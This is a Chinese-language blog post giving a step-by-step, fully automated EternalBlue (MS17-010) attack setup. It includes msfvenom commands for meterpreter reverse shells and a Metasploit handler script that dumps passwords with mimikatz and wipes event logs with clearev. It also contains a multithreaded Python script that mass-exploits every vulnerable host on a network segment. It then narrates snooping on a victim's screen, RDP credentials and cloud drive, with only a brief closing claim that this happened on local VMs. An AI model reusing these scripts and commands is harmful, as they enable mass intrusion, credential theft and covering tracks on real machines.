Evilmass

Fully Automated Attack With MS17-010

影响范围
利用漏洞来勒索的病毒: NSA “永恒之蓝”勒索蠕虫爆发,开机即可被勒索

针对校内用户的解决办法:

关闭 139 445 端口
利用路由器(起到隔离作用就行),尽量不要网线直连电脑

不行,这张图我可以笑一天(233~
digital_screen

Requirement

PentestBox 自带 Python2.7

  1. Python2 + pywin32
  2. NASM
  3. MS17-010
  4. PentestBox With Metasploit OR Kali Linux

吐槽1:在之前的攻击中,要在 Win 下执行攻击,却要反弹 Shell 到虚拟机的 Kali Linux ???
吐槽2:Kali Linux 的虚拟机镜像远不如直接安装 ISO 来的稳定
吐槽3:Payload 反弹 Shell 到本机需要路由转发端口
吐槽4:U盘 + PentestBox + MS17-010 在实验室真的可以为所欲为

Hack This

Win10 下 PentestBox 运行一些命令时(如 msfconsole ),提示不是内部或外部命令,也不是可运行的程序或批处理文件
error

解决方法1:输入 cmd 之后再输入需要执行的命令。
pentestbox_solution1

解决方法2:使用旧版的 cmd 控制控制台
pentestbox_solution2

NASM

下载 2.13 的版本,安装在 PentestBox 的 Customtools 目录,设置好环境变量即可
NASM213

MS17-010

git clone https://github.com/worawit/MS17-010.git

编译内核shellcode

cd MS17-010/shellcode/
nasm -f bin eternalblue_kshellcode_x64.asm
nasm -f bin eternalblue_kshellcode_x86.asm

生成Payload

如果直接在内网的话是可以把下面 VPS_IP 替换成自己的,但是不建议这么做,万一入侵的是 蜜罐 + 没清除记录 + 尝试风险操作 + 长时间在线,很容易翻车。拿 ngrok 转发一下比较保险

x86

msfvenom -p windows/meterpreter/reverse_tcp EXITFUNC=thread LHOST=IP LPORT=4444 -f raw -o %pentestbox_ROOT%/bin/customtools/Pentest/MS17-010/shellcode/msf_x86.bin

x64

msfvenom -p windows/x64/meterpreter/reverse_tcp EXITFUNC=thread LHOST=IP LPORT=4445 -f raw -o %pentestbox_ROOT%/bin/customtools/Pentest/MS17-010/shellcode/msf_x64.bin

合并 ShellCode

cat eternalblue_kshellcode_x86 msf_x86.bin > sc_x86.bin
cat eternalblue_kshellcode_x64 msf_x64.bin > sc_x64.bin
python eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin

Metasploit监听

use exploit/multi/handler
set ExitOnSession false
set EXITFUNC thread
set autorunscript "multi_console_command -rc scripts/resource/vnc_pass_migrate.rb"
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
exploit -j -z
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4445
exploit -j -z

vnc_pass_migrate.rb 内容如下

run post/windows/manage/priv_migrate
getsystem
run getgui -e
load mimikatz
mimikatz_command -f sekurlsa::searchPasswords
clearev

ms17-010-scanner.py

https://gist.github.com/Evilmass/443b0e439678666cfd5775ed4c8a07d3

确认网段内目标

python ms17-010-scanner.py -T 254 -n network

checkms_result

多线程攻击

# !/usr/bin/env python
# -*- coding:utf-8 -*-

import os
import sys
import time
import random
import subprocess
import multiprocessing.dummy as mp


white_list = ['']

def getTartget(network):
    results = []
    try:
        with open ('target.txt', 'w') as txt:
            txt.close()
        response = subprocess.Popen('python ms17-010.py -T 254 -n ' + str(network)  + ' | findstr \'MS\' | gawk  \'{print $2}\' > target.txt', shell=True,  stdout=subprocess.PIPE)
        time.sleep(3)
        with open ('target.txt', 'r') as txt:
            for i in txt:
                results.append(i.strip('\n'))
        for wl in white_list:
            if wl in results:
                results.remove(wl)
    except Exception as e:
        raise e
    finally:
        # results = filter(lambda x: x not in white_list, results)
        return results


def MS(target_ip):
    try:
        command = 'python ../eternalblue_exploit7.py ' + str(target_ip) + ' ..\\shellcode\\sc_all.bin ' + str(random.randint(10, 20))
        print(command)
        response = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE).stdout.readlines()[-1].replace('\r\n', '')
        if response == 'done':
            print('Executed Attack On %s\n' % target_ip)
        else:
            print('Failed On %s\n' % target_ip)
    except Exception as e:
        raise e


def run(ip=[]):
    mp.freeze_support()
    pool = mp.Pool(100)
    results = pool.map_async(MS, ip)
    pool.close()
    pool.join()


if __name__ == '__main__':
    if sys.argv[1::] == []:
        print('no args: -i for single ip, -n for network segment')
        exit(0)
    if sys.argv[1] == '-i':
        print('white list: ', white_list)
        if sys.argv[2::] == []:
            print('missing ip , input example: 192.168.1.2')
            exit(0)
        MS(sys.argv[2])
    if sys.argv[1] == '-n':
        print('white list: ', white_list)
        if sys.argv[2::] == []:
            print('missing network segment, input example: 192.168.1.0/24')
            exit(0)
        for x in sys.argv[2::]:
            target = getTartget(str(x))
            # print(target)
            run(target)

ms_result


ms_result

Shell Is The Only Beginning

如果有入侵经验的人一定知道我想表达什么

目前权限是否为SYSTEM,如果不是,该怎么提权?提权会不会引起注意?
目标主机装有杀毒软件的时候怎么 Bypass UAC 拿到当前用户密码?
要是目标主机突然关机了该如何进行下一次渗透?亦或者留下隐藏后门进行持续性控制?
端口转发该用什么工具?使用过程是否灵活?
拿下一台服务器权限后怎么进一步扩大战果?内网漫游怎么尽快获取域控的最高权限以便拿下整个内网?
如何有效收集你想要的信息?
如何尽可能清除入侵记录?
ETC…

然而没有360,看看在干嘛

screenshot -q 100

screenshot


这个时间点(12:49 PM)应该不在电脑前
利用mimikatz神器拿到用户密码

load mimikatz
mimikatz_command -f sekurlsa::searchPasswords

rdp_pass


3389 直接连上去
3389

然后看看能收集到什么有用的信息

netpass


sad


后台居然还挂着个百度盘。。。
baidupan


excited

我们不开车!
我们不开车!
我们不开车!

—————-严肃的分割线—————-
手机安装了百度盘客户端的,可能不小心(被)设置了手机自动备份,那么手机里面的相册,音乐,甚至是通讯录都会自动保存到百度盘。。。
information

END?

最近沉迷 Powershell(提权 Bypass UAC,后门持续控制)和 BadUSB 无法自拔

每次打这么多命令对于我这种懒人来说,有一条法则永远通用:

如果某些事情,甚至可以说是任何事情,哪怕只需要花费他超过 90 秒的时间,那他会写脚本来自动处理那些事情

以上全部的入侵内容都是我编的,入侵操作仅在本地虚拟机进行,切勿违法使用




这个打赏二维码好像有什么不对

支付宝
支付宝
微信
微信